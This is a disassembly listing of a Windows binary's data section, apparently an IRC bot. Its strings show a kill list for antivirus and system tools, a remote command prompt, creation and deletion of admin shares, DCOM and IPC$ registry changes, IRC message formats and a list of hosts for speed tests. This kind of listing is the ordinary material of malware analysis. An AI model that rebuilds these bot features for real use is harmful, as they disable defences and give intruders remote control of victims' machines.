off_439DA0	dd offset aRegedit_exe	; DATA XREF: sub_4196BD+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439EA8
		dd offset dword_439E9C
		dd offset dword_439E90
		dd offset dword_439E84
		dd offset dword_439E78
		dd offset dword_439E6C
		dd offset dword_439E5C
		dd offset dword_439E50
		dd offset dword_439E44
		dd offset dword_439E38
		dd offset dword_439E2C
		dd offset dword_439E1C
		dd offset dword_439E10
		dd offset dword_439E00
dword_439E00	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BD+ECo
					; ___:00439DFCo
dword_439E10	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439DF8o
dword_439E1C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439DF4o
dword_439E2C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439DF0o
dword_439E38	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DECo
dword_439E44	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DE8o
dword_439E50	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DE4o
dword_439E5C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439DE0o
dword_439E6C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439DDCo
dword_439E78	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439DD8o
dword_439E84	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439DD4o
dword_439E90	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439DD0o
dword_439E9C	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439DCCo
dword_439EA8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439DC8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DC4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DC0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439DBCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439DB8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439DB4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439DB0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439DACo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439DA8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:00439DA4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_439DA0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BD+191o
		align 4
unk_439F58	db  2Dh	; -		; DATA XREF: sub_4198EC:loc_419973o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439F7C	db  2Dh	; -		; DATA XREF: sub_4198EC+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_439FA0	db  2Dh	; -		; DATA XREF: sub_4198EC+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o
unk_439FD0	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419C42o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A000	db  2Dh	; -		; DATA XREF: sub_419B10+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A028	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419BF6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A058	db  2Dh	; -		; DATA XREF: sub_419C65+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A08C	db  2Dh	; -		; DATA XREF: sub_419C65+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A0B0	dd offset dword_43A0E8	; DATA XREF: sub_419E7A+1B3o
					; sub_41A19E+17Ao
		align 8
		dd offset dword_43A0E0
		align 10h
off_43A0C0	dd offset dword_43A0DC	; DATA XREF: sub_41A19E+1E3o
		dd offset off_43A0D8
		dd offset dword_43A0D4
		dd offset off_43A0D0
off_43A0D0	dd offset dword_5C3A44	; DATA XREF: sub_419E7A+217o
					; ___:0043A0CCo
dword_43A0D4	dd 2444h		; DATA XREF: ___:0043A0C8o
off_43A0D8	dd offset byte_5C3A43	; DATA XREF: ___:0043A0C4o
dword_43A0DC	dd 2443h		; DATA XREF: ___:off_43A0C0o
dword_43A0E0	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A0B8o
dword_43A0E8	dd 24435049h, 0		; DATA XREF: ___:off_43A0B0o
dword_43A0F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2E5o
					; sub_41A19E+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A120	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43A148	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A0DCo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A174	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43A198	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A049o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A1C4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43A1E8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FACo
					; sub_41A19E:loc_41A2CCo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A218	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FA5o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A254	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419F87o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A288	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo
					; sub_41A19E+EDo
		align 4
dword_43A2D8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+91o
					; sub_41A19E+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A308	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E7A:loc_419EE7o
		dd 62617369h, 2E64656Ch, 0
dword_43A328	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E7A+54o
					; sub_41A19E+54o
		align 4
dword_43A358	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19E+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19E+219o
dword_43A388	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A33Do
					; sub_41A19E:loc_41A40Eo
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A3B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+198o
					; sub_41A19E+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A3D0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2C5o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A40C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2A7o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A444	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A484	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19E:loc_41A20Bo
		dd 6C62616Eh, 2E6465h
dword_43A4A0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A4F8	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AF+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AF+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AF+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AF+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AF+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AF+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AF+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AF+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AF+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AF+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AF+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AF+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AF+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AF+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AF+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AF+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AF+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AF+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AF+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AF+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AF+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88C+52o
dword_43A710	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA43+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A7EC	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA43+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA43+EBo
dword_43A818	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF7+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A85C	dd offset word_412F4E	; DATA XREF: sub_41ACF7:loc_41AD63o
off_43A860	dd offset loc_4E414C	; DATA XREF: sub_41ACF7:loc_41AD59o
dword_43A864	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF7+5Bo
dword_43A86C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF7+48o
unk_43A87C	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF6Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A8AC	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF68o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A8D8	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB6+1A0o
		dd 4C525520h, 2Eh
unk_43A8F4	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF49o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A930	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB6+18Co
		dd 64657469h, 2Eh
dword_43A94C	dd 2A2F2Ah		; DATA XREF: sub_41ADB6+3Bo
dword_43A950	dd 54C761D6h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A960	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A96C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A978	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A97C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A990	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A994	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A9A0	dd offset off_43A9A0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A9A4	dd offset off_43A9A0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A9B8
		dd offset dword_43A9B8
dword_43A9B0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A9B8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A9A8o
					; ___:0043A9ACo
off_43C9C0	dd offset off_43A9A0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C9C4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C9C8	dd offset word_43C9D2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C9CC	dd offset word_43C9D2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C9D2	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C9C8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBD4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43CBD8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43CBE0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43CBE4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43CBE8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43CBF0	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43CBF4	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43CC00	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCE0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43CCE4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE48	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43CE50	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43CE58	dd 14h			; DATA XREF: sub_421624+2o
off_43CE5C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427870h, 1Ah, 42C954h, 1Bh, 427868h, 1Fh, 427860h
		dd 13h,	427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h
		dd 0Fh,	427838h, 10h, 427830h, 5, 427828h, 1Eh,	427824h
		dd 12h,	427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch
		dd 15h,	427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh
		dd 18h,	4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h
		dd 23h,	4277CCh, 24h, 4277C8h
dbl_43CF30	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43CF40	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43CF58	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43CF64	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43CF70	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43CF74	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43CF78	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43CF7C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43CF80	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43CF84	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43CF94	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43CF98	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43CF9C	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D010	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43D014	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43D018	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43D01C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43D020	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43D028	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43D02C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B8Ch, 9, 427B60h, 0Ah,	427B3Ch, 10h, 427B10h
		dd 11h,	427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h
		dd 19h,	427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h
		dd 78h,	427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F04h
		dd 0FFh, 427958h
off_43D0B8	dd offset dword_4DBC80	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DBC80
		dd 101h
dword_43D0C8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43D0D8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D0F8	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D128	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43D338	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43D340	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43D348	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43D360	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D378	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43D37C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43D380	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43D384	dd offset dword_545350	; DATA XREF: ___:off_43D404o
		dd 0Fh dup(0)
off_43D3C4	dd offset dword_544450	; DATA XREF: ___:off_43D408o
		dd 0Fh dup(0)
off_43D404	dd offset off_43D384	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43D408	dd offset off_43D3C4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43D410	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43D414	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43D418	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43D420	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43D424	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43D428	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43D42C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43D45C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43D460	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43D498	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
